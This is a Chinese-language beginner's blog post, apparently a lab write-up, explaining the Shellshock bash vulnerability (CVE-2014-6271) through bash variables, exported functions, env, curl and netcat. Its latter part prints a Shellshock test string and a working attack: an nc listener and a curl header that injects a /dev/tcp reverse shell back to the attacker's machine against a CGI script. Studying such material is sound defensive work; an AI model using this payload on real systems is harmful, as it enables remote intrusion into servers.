“破殼”是一個嚴重漏洞的別名,在Red Hat、CentOS、Ubuntu 、Fedora 、Amazon Linux 、OS X 10.10中均擁有存在CVE-2014-6271(即“破殼”漏洞)漏洞的Bash版本,同時由於Bash在各主流操作系統的廣泛應用,此漏洞的影響範圍包括但不限於大多數應用Bash的Unix、Linux、Mac OS X,而針對這些操作系統管理下的數據均存在高危威脅。
漏洞的利用方式會通過與Bash交互的多種應用展開,包括HTTP、OpenSSH、DHCP等
那麼什麼是bash呢?
bash(Bourne-Again SHell)是一個爲GNU計劃編寫的Unix shell。bash是大多數Linux系統以及Mac OS X v10.4默認的shell,它能運行於大多數Unix風格的操作系統之上,甚至被移植到了Microsoft Windows上的Cygwin系統中,以實現windows的POSIX虛擬接口。此外,它也被DJGPP項目移植到了MS-DOS上。
來總結下我學習到的知識。
一. bash shell變量:
echo命令:
echo"shellshock"
定義個變量然後再echo:
wt7315="shellshock"
echo $wt7315
結果如下:
我們現在可以試試開一個bash子進程來看一下我們能不能得到變量的值:
wt7315="shellshock"
echo $wt7315
shellshock
bash
echo $wt7315
沒有回顯,我們不能夠讀出變量的值是因爲我們開啓了一個bash子進程,但變量中的值,仍存在父進程中。
bash環境變量:
當你開啓一個shell會話時,一些變量已經準備好可供使用了,這些變量成爲環境變量
當我們想在子進程中訪問$gaba變量的話,我們可以使用export命令將變量變成環境變量。
如上圖所示,子進程可以訪問環境變量。
env | grep 'gaba'
二.bash函數與環境變量
建立一個名爲x的函數,並將函數x存放在環境變量中,正如我預期的那樣,在子shell中仍可執行名爲x的函數。
在看了很多原理之後,bash漏洞形成的原理可算理解了,簡單的就是說:BASH除了可以將shell變量導出爲環境變量,還可以將shell函數導出爲環境變量!(書讀百遍其義自見,原理我讀了一百遍)
三.相關指令
順便來了解下兩個指令:
ENV指令:
ENV指令允許臨時改變環境變量,即指定本次指令執行的環境變量,這從一定程度上給了***進行PATH Hajaking的可能性
ENV指令還允許在設置環境變量後進行指令執行,從某種程度上來說,ENV相當於一個指令執行的指令,同時還附帶有臨時設置環境變量的功能
ENV的指令執行走的是正常的BASH指令解析、執行流程,而在一個採取了安全配置的服務器上,對敏感指令的執行都是進行用戶級別的權限限制的,所以,ENV本身並不是任意指令執行。真正導致命令任意執行的原因是"Code Injection",即代碼注入
具體的env命令,可查看env的man手冊和幫助。
這是我們的測試語句:
env x='() { :;}; echo shellshocked' bash -c "echo test"
如果出現 `vulnerable` 和`this a test`則說明系統存在bash漏洞。
bash -c 就是用來執行string-commands(命令字符串),不管後面的字符串裏是什麼都會被當做shellcode來執行。bash -c "echo this is a test"在執行的時候存在一個環境變量x,而x呢等於 () { :;}; echo vulnerable ,而環境變量在使用前都會被初始化,那麼 () { :;}; echo vulnerable 就自然而然的被執行了。 () { :;}; 定義了一個函數(function)並且它什麼也不做,而後的 echo vulnerable 被解析後得到了執行權。當特殊的字符串變成環境變量後,環境變量又解析成函數,新的Bash進程在啓動後又解析了環境變量並可以執行命令。
curl:
是利用URL語法在命令行方式下工作的開源文件傳輸工具。它被廣泛應用在Unix、多種Linux發行版中,並且有DOS和Win32、Win64下的移植版本。
他的參數很多,這裏簡單的舉幾個例子。
-G/--get 以get的方式來發送數據
-H/--header < line >自定義頭信息傳遞給服務器
-i/--include 輸出時包括protocol頭信息
-K/--config 指定的配置文件讀取
nc:
NetCat,它短小精悍,功能實用,被設計爲一個簡單、可靠的網絡工具,可通過TCP或UDP協議傳輸讀寫數據。同時,它還是一個網絡應用Debug分析器,因爲它可以根據需要創建各種不同類型的網絡連接。
nc [選項] 主機名稱 通信端口
常用參數說明:
-l 使用監聽模式,管控傳入的資料。
-p<通信端口> 設置本地主機使用的通信端口。
v 顯示指令執行過程。
-w<超時秒數> 設置等待連線的時間。
-z 使用0輸入/輸出模式,只在掃描通信端口時使用。
經過上面的測試,說明此debian存在bash漏洞,我使用了kai來利用此漏洞。
nc -lv -p 5555
另外在開個終端,輸入curl –H 'x: () { :;}; /bin/bash –i >& /dev/tcp/***ip/5555 0>&1' http://受害ip/sgi-bin/status,(需要注意的是 () { :;}之間有空格)對於sgi-bin/status,可以先使用掃描工具,掃出存在破殼漏洞並且在cgi-bin目錄下有一個可執行腳本,可以看到我們利用破殼漏洞得到了反向shell進入受害機。
webserver常常將Referer、UserAgent、header等參數作爲環境變量的設置源
服務器提供了CGI腳本,當 CGI script被webserver執行的時候,CGI Script會去調用Bash
***者可以通過開啓了CGI的httpd服務器進行遠程代碼執行
然後我們就可以爲所欲爲的做你想做的事情了,我查看了當前所有的用戶信息。
雖然利用了bash漏洞得到了權限,但是bash漏洞利用還是有條件的:
被***的bash存在漏洞
***者可以控制環境變量
新的bash進程被打開觸發漏洞並執行命令
漏洞危害:
可以直接在Bash支持的Web CGI環境下遠程執行任何命令。這也就使得一些路由器、堡壘機、***等網絡設備將會成爲重災區,另外各大Linux發行版和Mac OS X系統都受影響,甚至Android也會受到影響。
新手,多多包涵,歡迎各位一起交流學習!